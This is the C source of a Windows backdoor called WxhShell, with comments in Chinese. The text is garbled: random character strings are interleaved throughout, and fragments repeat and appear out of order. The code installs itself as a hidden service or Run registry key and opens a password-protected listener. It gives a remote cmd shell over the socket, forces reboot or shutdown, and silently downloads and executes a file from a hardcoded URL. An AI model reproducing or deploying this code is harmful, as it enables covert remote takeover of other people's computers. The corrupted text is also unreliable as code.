Kc g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b}e1JPk}! NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ui8 Q2{z Y\|#Lu>B if (!NtQueryInformationProcess) return 0; &C 9hT 3h@]cWp hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FDHW'OP4 if(!hProcess) return 0; ^t>mdxuq ;KeU f(tH if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]hl*6 12$0-@U CloseHandle(hProcess); Nw;qJ58@ 0|3I^b hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &|yLTx if(hProcess==NULL) return 0; IwYeKN6s rK3kg2H HMODULE hMod; 3jmo[<p*x char procName[255]; .@1+}0 unsigned long cbNeeded; &|v) h`[$
Bp if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?gH[la tUn>=>cWP CloseHandle(hProcess); Z!p\=M,% mScv7S~/s if(strstr(procName,"services")) return 1; // 以服务启动 UaT%tv>}8# m[DQ;`Y return 0; // 注册表启动 rhv~H"qzW } 3Ax'v|&Hg ]#!uke Q // 主模块 ((y|?Z$ int StartWxhshell(LPSTR lpCmdLine) kA:Y^2X' { !_W:%t)g SOCKET wsl; blO4)7m BOOL val=TRUE; 2q
f|+[X int port=0; @gUp9ZwtH struct sockaddr_in door; =BJLj0=N %sa?/pjK if(wscfg.ws_autoins) Install(); j"W>fC/u +UzQJt/>> port=atoi(lpCmdLine); W4^L_p>Tm^
;vn0%g if(port<=0) port=wscfg.ws_port; uF ?[H -y K)Y& I WSADATA data; LoF/45|-< if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^r}c&@ ?R`S- if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; QcegT/vO setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0K!3Ny9( door.sin_family = AF_INET; eJDZ|$ door.sin_addr.s_addr = inet_addr("127.0.0.1"); C.j+Zb1Z( door.sin_port = htons(port); KE?t?p W.wPy@yi if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $8EEtr,! closesocket(wsl); @"w4R6l+* return 1; CH++3i2& } *TOd Iq&z .i0K-B if(listen(wsl,2) == INVALID_SOCKET) { kpOdyn( closesocket(wsl); _]:b@gXUw return 1; _nGx[1G( 5 } qGk+4 yC Wxhshell(wsl); R2bq hSlF WSACleanup(); bM W|:rn F.s$Y+c!6 return 0; 2.qPMqH H MOIUd } dSI"yz zzmC[,u} // 以NT服务方式启动 _,3ljf?WQM VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bG;fwgAr { -t-f&`S|| DWORD status = 0; 6 2xOh\( DWORD specificError = 0xfffffff; 0uy'Py@2< # :+Nr serviceStatus.dwServiceType = SERVICE_WIN32; Y,]Lk<Hm3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; z/?* h serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B-I4(w($ serviceStatus.dwWin32ExitCode = 0; .)E#*kLWR serviceStatus.dwServiceSpecificExitCode = 0; L!f~Am:# serviceStatus.dwCheckPoint = 0; vHaM yA- serviceStatus.dwWaitHint = 0; Bfb~<rs[ 2=cx`"a$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5"%.8P if (hServiceStatusHandle==0) return; *)^6'4= c[@_t.%) status = GetLastError(); srS!X$cec if (status!=NO_ERROR) p.8 bX {
3@Ndn serviceStatus.dwCurrentState = SERVICE_STOPPED; jCd]ENl+_ serviceStatus.dwCheckPoint = 0; zCs34=3D[ serviceStatus.dwWaitHint = 0; J+D|/^ serviceStatus.dwWin32ExitCode = status; $q!A1Fgk0 serviceStatus.dwServiceSpecificExitCode = specificError; G?4@[m SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Tr,waV return; hY}Q|-| } @f[- =<\22d5L serviceStatus.dwCurrentState = SERVICE_RUNNING; fy+5i^{= serviceStatus.dwCheckPoint = 0; HwU9y serviceStatus.dwWaitHint = 0; Ir;JYY!0? if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q@.>eB'92P } !Uiq3s`1T \zd[A~! // 处理NT服务事件,比如:启动、停止 rfV'EjiM} VOID WINAPI NTServiceHandler(DWORD fdwControl) ~cU1
/CW8 { *%uz LW0 switch(fdwControl) HDm]njF%qQ { eP~bl
case SERVICE_CONTROL_STOP: 4Kqo>|C serviceStatus.dwWin32ExitCode = 0; ]($ \7+ serviceStatus.dwCurrentState = SERVICE_STOPPED; 7i5B=y7b serviceStatus.dwCheckPoint = 0; P"c@V,. serviceStatus.dwWaitHint = 0; `IN!#b+Eo { ?K$&|w%{3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); FNGa4 } WcmX"{ return; ^y,h0?Z9 case SERVICE_CONTROL_PAUSE: aEf3hB* ~ serviceStatus.dwCurrentState = SERVICE_PAUSED; fW= N break; p22AH%
case SERVICE_CONTROL_CONTINUE: Q#MB=:0{ serviceStatus.dwCurrentState = SERVICE_RUNNING; 4!sK>l! break; &l6@C3N$ case SERVICE_CONTROL_INTERROGATE: .2I?^w&j+ break; #1dVp!?3T }; tSy 9v SetServiceStatus(hServiceStatusHandle, &serviceStatus); |JkfAnrN$I } 9hr7+fW]t *eg0^ByeD // 标准应用程序主函数 "DN,1Q
lCp int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _2KIe(,; { 'Agw~
&$ %g:Q? // 获取操作系统版本 c5p,~z_Dtu OsIsNt=GetOsVer(); {@X>!] GetModuleFileName(NULL,ExeFile,MAX_PATH); j$T12 AojL4H| // 从命令行安装 y\v#qFVOZ if(strpbrk(lpCmdLine,"iI")) Install(); ~\=D@G,9 7U7!'xU // 下载执行文件 8#!g;`~ D if(wscfg.ws_downexe) { A%#M#hD/ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sOqFEvzo1% WinExec(wscfg.ws_filenam,SW_HIDE); ^i@anbH } S(@kdL =
#-zK:4 if(!OsIsNt) { >5O~SF. // 如果时win9x,隐藏进程并且设置为注册表启动 aOvqk ^ HideProc(); cfmLErkp StartWxhshell(lpCmdLine); ,h=a+ja8 } ,^bgk
-x- else :2lpl%/ if(StartFromService()) <M9NyD` // 以服务方式启动 2hV -h StartServiceCtrlDispatcher(DispatchTable); ?|,:;^2l1 else H+*3e& // 普通方式启动 6uD<E StartWxhshell(lpCmdLine); 4dixHpq' :]:)c8!6 return 0; { <Gyjq } "U^m~N9k{ U/'l "N[ G^B>C 9(t(sP_ =========================================== ;6 @sC[ HGAi2+& B*_K}5UO gaN/
kp uD/@d'd_4L z5gVP8*z5 " UvGxA[~2+ 9mxg$P4 #include <stdio.h> ]Y?Y$> #include <string.h> (:8a6=xQ #include <windows.h> '$Z)2fn7 #include <winsock2.h> N.mRay, #include <winsvc.h> 0{vT`e' #include <urlmon.h> +a39 !j
1_ gcnX^[`S #pragma comment (lib, "Ws2_32.lib") * WV=X p #pragma comment (lib, "urlmon.lib") .xqi7vVHZ nA0%M1a #define MAX_USER 100 // 最大客户端连接数 (Y'cxwj% #define BUF_SOCK 200 // sock buffer IP/%=m)\% #define KEY_BUFF 255 // 输入 buffer ?98!2:'{9 2d*bF. #define REBOOT 0 // 重启 g8cBb5(L #define SHUTDOWN 1 // 关机
MWme3u)D %}(`? #define DEF_PORT 5000 // 监听端口 JPn)Op6 x^@oY5}cr #define REG_LEN 16 // 注册表键长度 N!c FUZ5] #define SVC_LEN 80 // NT服务名长度 e".=E;o` S3M!"l // 从dll定义API #OPEYJ;*9d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6=n|Ha typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0g30nr) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f I=G>[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dwk%!% tC|?Kl7 // wxhshell配置信息 uD@ZM struct WSCFG { FD[*Q2fU int ws_port; // 监听端口 O*v&CHd3 char ws_passstr[REG_LEN]; // 口令 vyDxX int ws_autoins; // 安装标记, 1=yes 0=no ^'[QCwY~ char ws_regname[REG_LEN]; // 注册表键名 >3p~>;9sc char ws_svcname[REG_LEN]; // 服务名 E"9(CjbQ[ char ws_svcdisp[SVC_LEN]; // 服务显示名 \(Oc3+n6 char ws_svcdesc[SVC_LEN]; // 服务描述信息 7f+@6jqD\) char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tTBDb int ws_downexe; // 下载执行标记, 1=yes 0=no I#xdksY char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .;g kV-] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {ol7*% u Uj;JN}k }; ="78#Wfj2 MO$yst?fK // default Wxhshell configuration }$z(?b struct WSCFG wscfg={DEF_PORT, Eu' ;f_s "xuhuanlingzhe", ]7}!3 m 1, ( mp "Wxhshell", oc)`hg2= "Wxhshell", 1N(#4mE= "WxhShell Service", hYpxkco"4' "Wrsky Windows CmdShell Service", QOEi.b8r "Please Input Your Password: ", `bBkPH}M 1, \}4Y]xjV2 "http://www.wrsky.com/wxhshell.exe", Hy4;i^Ik < "Wxhshell.exe" +z nlf- }; F oC
$X |;NfH|43; // 消息定义模块 *-PjcF}Y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
e4N d char *msg_ws_prompt="\n\r? for help\n\r#>"; S[ !6Lw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Dx1(}D char *msg_ws_ext="\n\rExit."; x)=l4A\ char *msg_ws_end="\n\rQuit."; Eo2`Vr9g char *msg_ws_boot="\n\rReboot..."; iXy1{=BDv char *msg_ws_poff="\n\rShutdown..."; FbroI>" e char *msg_ws_down="\n\rSave to "; nEu:& 4 Ik^^8@z char *msg_ws_err="\n\rErr!"; +Kb 7N, " char *msg_ws_ok="\n\rOK!"; xh:I]('R R/x3+_.f char ExeFile[MAX_PATH]; !b_(|~7Lc int nUser = 0; ["f6Ern HANDLE handles[MAX_USER]; 27fLW&b2 int OsIsNt; =V|jd'iwx <&Xl b0 SERVICE_STATUS serviceStatus; ;>mM9^Jaf SERVICE_STATUS_HANDLE hServiceStatusHandle; >BO$tbU5b
peu9Bgs // 函数声明 />mK.FT int Install(void); "'bl)^+?, int Uninstall(void);
YA,~qT| int DownloadFile(char *sURL, SOCKET wsh); lND2Kb int Boot(int flag); OC*28) void HideProc(void); IrQ.[?C int GetOsVer(void); .x%w# int Wxhshell(SOCKET wsl); h_?`ESI~ void TalkWithClient(void *cs); >I\B_q int CmdShell(SOCKET sock); Q&.uL}R int StartFromService(void); 0zNbux_ int StartWxhshell(LPSTR lpCmdLine); @\w}p E T='uqKW\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4*qBu}( VOID WINAPI NTServiceHandler( DWORD fdwControl ); )>{.t=# te(H6c#0 // 数据结构和表定义 uCr& ` SERVICE_TABLE_ENTRY DispatchTable[] = BJwuN { F8Ety^9>9 {wscfg.ws_svcname, NTServiceMain}, "6\5eFN; {NULL, NULL} z.8 nYL5^} }; WGn=3(4 $,@}%NlHc // 自我安装 g_cED15 int Install(void) x3&gB`j-
{ GGEM&0* char svExeFile[MAX_PATH]; iGhvQmd(/* HKEY key; e:Y+-C5 strcpy(svExeFile,ExeFile); vQLYWRXiA uX1; // 如果是win9x系统,修改注册表设为自启动 ={;pg( if(!OsIsNt) { 't`h?VvL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y/\b0& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }qM^J;uy RegCloseKey(key); 53{\H&q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TiI /I`A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l SdA7 RegCloseKey(key); 8^}/T#l return 0; E#+2)Q } RJ@79L*# } ?)-6~p 4N } Mc.{I"c@ else { |gI>Sp%Fu pFS@yHs // 如果是NT以上系统,安装为系统服务 Uo >aQk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (0.oE%B",1 if (schSCManager!=0) [tkx84M8 { f;^ +q-Q SC_HANDLE schService = CreateService _ +DL ( FzX ;~CA schSCManager, >[aR8J/U wscfg.ws_svcname, ^g*Sy, A wscfg.ws_svcdisp, ={%'tv` SERVICE_ALL_ACCESS, )iw-l~y; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FDD=I\Ic SERVICE_AUTO_START, ~\JB)ca. SERVICE_ERROR_NORMAL, Zb=NcEPGy svExeFile, J[:#(c&c!1 NULL, ^(^P#EEG NULL, m@XX2l9:9 NULL, ISC>]` NULL, L@GICW~ NULL LHA^uuBN} ); n#x_da-m] if (schService!=0) Pv5S k8 { Ob]\t/:%P CloseServiceHandle(schService); b5)^g+8)w CloseServiceHandle(schSCManager); "b`#RohCi strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dh`s^D6Q> strcat(svExeFile,wscfg.ws_svcname); Ag9GYm if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1ARtFR2C{b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }{N#JTmjB# RegCloseKey(key); 'O)v@p " return 0; <@(\z
} >u>
E !5O } "<0 !S~] CloseServiceHandle(schSCManager); +h"i6`g } "qq$i35x } !6-t_S &D M3/^70 return 1; +:@^nPfHy } P?V+<c{ =F_uK7W // 自我卸载 s?}qia\~m int Uninstall(void) k*;U?C! { ,JdBVt HKEY key; XA#qBxp/h Xw9]WJc if(!OsIsNt) { ]2m=lt1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NW6;7nWb RegDeleteValue(key,wscfg.ws_regname); gS<p~LPf RegCloseKey(key); t RU/[?! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >97YK = RegDeleteValue(key,wscfg.ws_regname); CbM~\6R RegCloseKey(key); esTL3 l{[ return 0; ?MFC(Wsh
} C'[4jz0xF } {2 q"9Ox" } [!%5(Ro_ else { t`Bk2Cc)+ } 9zi5o8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o=Z:0Ukl] if (schSCManager!=0) *Hn=)q { zqj|$YNC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fxa{
9'99 if (schService!=0) ,|RKM { i}8OaX3x if(DeleteService(schService)!=0) { (.N n|lY<i CloseServiceHandle(schService); 12#yHsk CloseServiceHandle(schSCManager); O:GP uVb\ return 0; fGV'l__\\ } 25Z}.)) CloseServiceHandle(schService); W]Xwt'ABz } %R4 \[e CloseServiceHandle(schSCManager); DtBvfYO8)> } HR?T } Wy-_}wqHg AAfU]4u0S return 1; ,K}"o~z } fB<Qs.T O8#]7\) // 从指定url下载文件 vX>{1`e{S int DownloadFile(char *sURL, SOCKET wsh) ,$t1LV;o= { g0B-<>E HRESULT hr; tb?TPd-OY char seps[]= "/"; @:w^j0+h char *token; -`5]%.E&8 char *file; xT&/xZLT char myURL[MAX_PATH]; A\S=>[ar- char myFILE[MAX_PATH]; p,z>:3M uzQj+Po strcpy(myURL,sURL); VOj7Tz9UD token=strtok(myURL,seps); \1<aBgKi while(token!=NULL) cPZ\iGy { F6~
;f; file=token; /D9#v1b token=strtok(NULL,seps); _}47U7s8 } jl}9R]Y_2 J1(SL~e], GetCurrentDirectory(MAX_PATH,myFILE); ~c v|, strcat(myFILE, "\\"); +vJ}'uR3P strcat(myFILE, file); g
\S6>LG! send(wsh,myFILE,strlen(myFILE),0); F\&wFA'J send(wsh,"...",3,0); N>EMVUVS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,k.") if(hr==S_OK) j{FRD8]V
return 0; 7)D[ }UXz else b'^<0c return 1; E2}X[EoBF KJ/Gv#Kj } &jEw(P&_ /NB|N*}O) // 系统电源模块 KU"+i8" int Boot(int flag) Il\{m?Y { \'g7oV;>cI HANDLE hToken; wG:RvgX} TOKEN_PRIVILEGES tkp; <z60EvHg 7>zUT0SS if(OsIsNt) { [H!do$[> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @P0rNO%y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5/6Jq tkp.PrivilegeCount = 1; _t]Q*i0p tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z{BgAI, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GNHXtu6 if(flag==REBOOT) { uUp>N^mmVH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4#W$5_Ny return 0; L}Sb0 o. } )/!HI0TU else { hyPS 6Y'1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^3vI
NF return 0; ,e 7
~G } }t(5n $go6 } ;K l'[~z else { bRFZ:hu l if(flag==REBOOT) { g@O?0,+1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p:tp|/ return 0; "}0QxogYE } j-aTpN else { Q>X1 :Zn3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?gAwMP(> return 0; bly `mp8# } fZap\ } Xeja\5zB E rA*a3 return 1; W4qT]m } _o?aO C +Y+fM // win9x进程隐藏模块 p;zT #% void HideProc(void) GtqA@&5& { rY=dNK]d C #@5:$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S#ud<=@!9 if ( hKernel != NULL ) GmN~e*x>p { _7-P8"m pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VSc)0eyn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3q (]Dg;v FreeLibrary(hKernel); XV<{tqa } ozG!OiRW lz0'E'%{P return; ")GrQv a } Z7?-c p~t5PU*( // 获取操作系统版本 Ha!]*wg# int GetOsVer(void) l:"zYcp% { JsQmn<Yt OSVERSIONINFO winfo; C@FX[:l@- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EAnw:yUV( GetVersionEx(&winfo); G2_l}q~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q+Qrc]>-f return 1; )@.6u9 \ else T#G
(&0J5 return 0; P'CDV3+ } f5|Ew&1EP ]g0\3A // 客户端句柄模块 [=KA5c< int Wxhshell(SOCKET wsl) "0A !fRI~ { 0RGSv!w SOCKET wsh; NYN(2J struct sockaddr_in client; >_um-w #C DWORD myID; x[H9<&)D b!-F!Lq/+0 while(nUser<MAX_USER) o;Ma)/P { M8'
GbF=1 int nSize=sizeof(client); n g?kl|VG wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6(.]TEu0 if(wsh==INVALID_SOCKET) return 1; -_|U"C$ ax+P)yz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vL:tuEE3 if(handles[nUser]==0) h\qM5Qx+Q closesocket(wsh); 4^rO K else bMpCQ nUser++; a8!/V@a } cu V}<3& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /5c;,.hm1R 34\:1z+s M return 0; L[FNr& } %4rPkPAtrp }28,fb
/ // 关闭 socket ;\Vi~2!8 void CloseIt(SOCKET wsh) }vLK-Vv { `CXAE0Fx closesocket(wsh); >B9|;,a nUser--; r6*~WM|Sq7 ExitThread(0); d,9YrwbD } K 6Gri>Um g [~"c} // 客户端请求句柄 gM<*(=x' void TalkWithClient(void *cs) T] tG,W1>i { 9e|]H+y KvrcO#-sL SOCKET wsh=(SOCKET)cs; s1eGItx[w char pwd[SVC_LEN]; V:w=h>z8 char cmd[KEY_BUFF]; $`&uu char chr[1]; _g(4-\ int i,j; ['SZe0 3K57xJzK while (nUser < MAX_USER) { M)oy3y^& /J"U`/
{4 if(wscfg.ws_passstr) { 7EKQE>xj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7]~65@%R-& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q{W@J0U //ZeroMemory(pwd,KEY_BUFF); V@xlm
h, i=0; IwHYuOED] while(i<SVC_LEN) { .7*3V6h =F 6-@
X // 设置超时 >e7w!v] fd_set FdRead; S"Dw8_y7} struct timeval TimeOut; :Sx!jx>W FD_ZERO(&FdRead); fr1/9E; FD_SET(wsh,&FdRead); Cku&s TimeOut.tv_sec=8; x*A_1_A TimeOut.tv_usec=0; vElVw.
P int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S;vE% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :Qg3B '; J0e~s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RQZ|:SvV pwd=chr[0]; 0~{& if(chr[0]==0xd || chr[0]==0xa) { S[bFS7[ pwd=0; `2X#;{a: break; s.E}xv } ]8|cVGMa i++; 0{/P1 } s:j"8ZH t$sL6|Ww}o // 如果是非法用户,关闭 socket 3%<Uq%pJ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5Mfs)a4j. } yB&+2 X`d d"8% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); asDq(J`sQ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tp='PG.6 o5(p&:1M while(1) { q][{? kMGK8y ZeroMemory(cmd,KEY_BUFF); Fg3VD(D^U /qW5M4.w // 自动支持客户端 telnet标准 'sCj\N j=0; JfmNI~% while(j<KEY_BUFF) { 5} 9}4e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =#@eDm% cmd[j]=chr[0]; `.f
{V if(chr[0]==0xa || chr[0]==0xd) { S~QL
x cmd[j]=0; /YbyMj* break; Z&hzsJK{m$ } yv:8=.r}M j++; ?*}^xXI/ } WxE4r TO.71x| // 下载文件 4WV'\R+m if(strstr(cmd,"http://")) { )P:r;a' send(wsh,msg_ws_down,strlen(msg_ws_down),0); z
z@;UbD" if(DownloadFile(cmd,wsh)) *x EcX6ZHX send(wsh,msg_ws_err,strlen(msg_ws_err),0); _zG9.?'b3 else 3:Aw.-,i\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =&QC&CqEi } vc.:du else { ?dJ-g~ KdT1Nb= switch(cmd[0]) { SF.4["$ -@49Zh2' // 帮助 L-}>;M$Y) case '?': { \{F{yq( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MTZbRi6z break; tAfdbt } H6ff b)& // 安装 74VN3m case 'i': { $d1+ d;Mn if(Install()) W=v4dy]B send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8}m bfuo1 else ,f`435R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l MCoc 'ae break; Mg
H,"G } G1 ?." // 卸载 x!klnpGp case 'r': { Y>KRI2](< if(Uninstall()) 2Yd0:$a send(wsh,msg_ws_err,strlen(msg_ws_err),0); uT8@p8 else {R[FwB^7wJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nz`4q%+ break; oQgd]|v } a []Iz8*6e // 显示 wxhshell 所在路径 ^,L vQW4 case 'p': { bWzv7#dd= char svExeFile[MAX_PATH]; t^0^He$Ot strcpy(svExeFile,"\n\r"); LG6VeYe|\X strcat(svExeFile,ExeFile); ~b+TkPU send(wsh,svExeFile,strlen(svExeFile),0); TRwlUC3hQ break; ^6!C":f } /\L|F?+@ // 重启 ahi lp$v case 'b': { p<1z!`!P send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gakmg#ki if(Boot(REBOOT)) )Lht}I ]: send(wsh,msg_ws_err,strlen(msg_ws_err),0); {6%vmMbJ else { y,&UST closesocket(wsh); "0o1M\6Z ExitThread(0); 5urM,1SQ@ } qd*3| O^ break; {@Y|"qIN } 74YMFI // 关机 .'o<.\R8 case 'd': { 70NQ9*AAy send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z -|gw.y if(Boot(SHUTDOWN)) oJC-? send(wsh,msg_ws_err,strlen(msg_ws_err),0); y6.}h9~ else { }qy,/<R closesocket(wsh); NpV#zzE ExitThread(0); yidUtSv=, } xW@y=l Cu break; 9{{QdN8 } :.kc1_veYS // 获取shell cW B> case 's': { N9LBji;nH CmdShell(wsh); V@gweci closesocket(wsh); n<
UuVu ExitThread(0); N6wea] break; ( ONn{12Q } /]H6' // 退出 ;,T3C:S? case 'x': { SS?^-BI send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :V1ttRW}52 CloseIt(wsh); )cA#2mlS'1 break; +2%ih! } +We_[Re`< // 离开 #<ppiu$ case 'q': { _`yd"0Ux send(wsh,msg_ws_end,strlen(msg_ws_end),0); KL:x!GsV5e closesocket(wsh); qfp,5@p
WSACleanup(); U ObI&*2 exit(1); 5\RTy}w3x break; 4]L5%=atn } 9kmEg$WM } MfNxd
6w } ^z&eD, IS *-MLi // 提示信息 MD(?Wh if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I&9_F%rX } E6"+\-e } j#^EZ/ N$1ZA)M return; ~{Gbu oH } Tb~|p_;o %@/"BF;r // shell模块句柄 (Fc\*Vn int CmdShell(SOCKET sock) I'pOB { <9zzjgzG{c STARTUPINFO si; YbaaX{7^ ZeroMemory(&si,sizeof(si)); 12
y=Eh si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y
%R-Oc si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uw'>tb@ PROCESS_INFORMATION ProcessInfo; {Ju char cmdline[]="cmd"; }yQ&[Mt CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }xZR`xP( return 0; aYTVYg } YU=Q`y[k pq8XCOllXx // 自身启动模式 5^kLNNum int StartFromService(void) XO[S(q { "Zk# bQ2j typedef struct 7Mx F?
I { C\%T|ZDE DWORD ExitStatus; -Ky<P<@ezm DWORD PebBaseAddress; h"~i&T
h DWORD AffinityMask; CC{*'p6 DWORD BasePriority; A0mj!P 9 ULONG UniqueProcessId; GnAG'.t-Z ULONG InheritedFromUniqueProcessId; R/!lDv!
} PROCESS_BASIC_INFORMATION; 2o8:[3C5 ^\<nOzU? PROCNTQSIP NtQueryInformationProcess; 12 {F @#HB6B static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zL8Z8eh"> static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }sy^ed Z;=h= HANDLE hProcess; VT>TmfN(I PROCESS_BASIC_INFORMATION pbi; Q{+*F8%8V< jl-2)< HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }%8 :8_Ke if(NULL == hInst ) return 0; *}F>c3x] @wvgMu g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HgGwV;W g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =*0KH##%$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /,C;fT<R e0s* if (!NtQueryInformationProcess) return 0; /Pbytu);ds <x!q!; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n8pvzlj1 if(!hProcess) return 0; bEQy5AX (M0"I1g|w if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &7\=Jw7w W8blHw" CloseHandle(hProcess); ?xa70Pb{; pwF+ZNo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UC
e{V ]T if(hProcess==NULL) return 0; ]!c59%f=
saRYd{%+ HMODULE hMod; O'Mo/
